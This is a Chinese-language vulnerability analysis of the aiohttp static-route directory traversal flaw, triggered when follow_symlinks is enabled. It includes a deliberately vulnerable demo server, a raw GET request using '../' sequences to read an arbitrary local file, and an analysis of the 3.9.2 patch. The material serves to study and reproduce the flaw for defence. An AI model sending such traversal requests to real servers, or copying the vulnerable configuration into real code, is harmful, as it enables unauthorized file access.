漏洞描述:
aiohttp 是一個用于 asyncio 和 Python 的異步 HTTP 客戶端/服務器框架。使用aiohttp作為Web服務器并配置靜態路由時,需要指定靜態文件的根路徑。此外,選項“follow_symlinks”
可用于確定是否遵循靜態根目錄之外的符號鏈接。當“follow_symlinks”
設置為 True
時,不會進行驗證來檢查讀取的文件是否位于根目錄內。這可能會導致目錄遍歷漏洞,從而導致對系統上的任意文件進行未經授權的訪問,即使符號鏈接不存在也是如此。鼓勵緩解措施是禁用 follow_symlinks
并使用反向代理。版本 3.9.2 修復了此問題。
服務啟動Py文件中有"/static", “static/
” 其中一個是涉及現有目錄,沒有自行創建一個,不然可能會報錯
from aiohttp import webasync def index(request):return web.Response(text="Hello, World!")app = web.Application()
app.router.add_routes([web.static("/static", "static/", follow_symlinks=True),
])
app.router.add_get('/', index)if __name__ == '__main__':web.run_app(app, host='127.0.0.1', port=9999)
GET /static/../../../../D:\\6666.txt HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
漏洞原因
在使用 aiohttp 作為 Web 服務器時,錯誤配置靜態資源解析可能導致目錄遍歷漏洞,允許攻擊者未經授權讀取系統上的任意文件。該漏洞的根本問題在于靜態路由配置中的 follow_symlinks
選項,當設置為 True
時,可能繞過驗證,使得符號鏈接可以指向根目錄之外的文件,導致安全漏洞。
app.router.add_routes([web.static("/static", "static/", follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability
])
補丁分析
通過官方項目發布補丁情況
- 路徑處理邏輯: 使用
normalized_path
對未解析的路徑進行規范化處理,消除冗余的分隔符和相對路徑。然后再嘗試將規范化的路徑轉換為相對于指定目錄的相對路徑,最后解析為絕對路徑。 - 符號鏈接處理: 根據
follow_symlinks
的設置,決定是否遵循符號鏈接。如果需要遵循,則使用規范化的路徑,否則直接使用未解析的路徑。 - 異常處理: 在捕獲到可能的異常時,如
ValueError
或FileNotFoundError
,同樣觸發了適當的錯誤處理,即拋出 HTTPForbidden 異常。
結束語
從啟用 follow_symlinks 選項并且路徑指向符號鏈接時發生目錄遍歷漏洞。通過補丁改進,補丁代碼確保了在處理靜態資源時,即使路徑指向符號鏈接,也能正確地驗證路徑是否在指定的根目錄內,從而防止了目錄遍歷漏洞。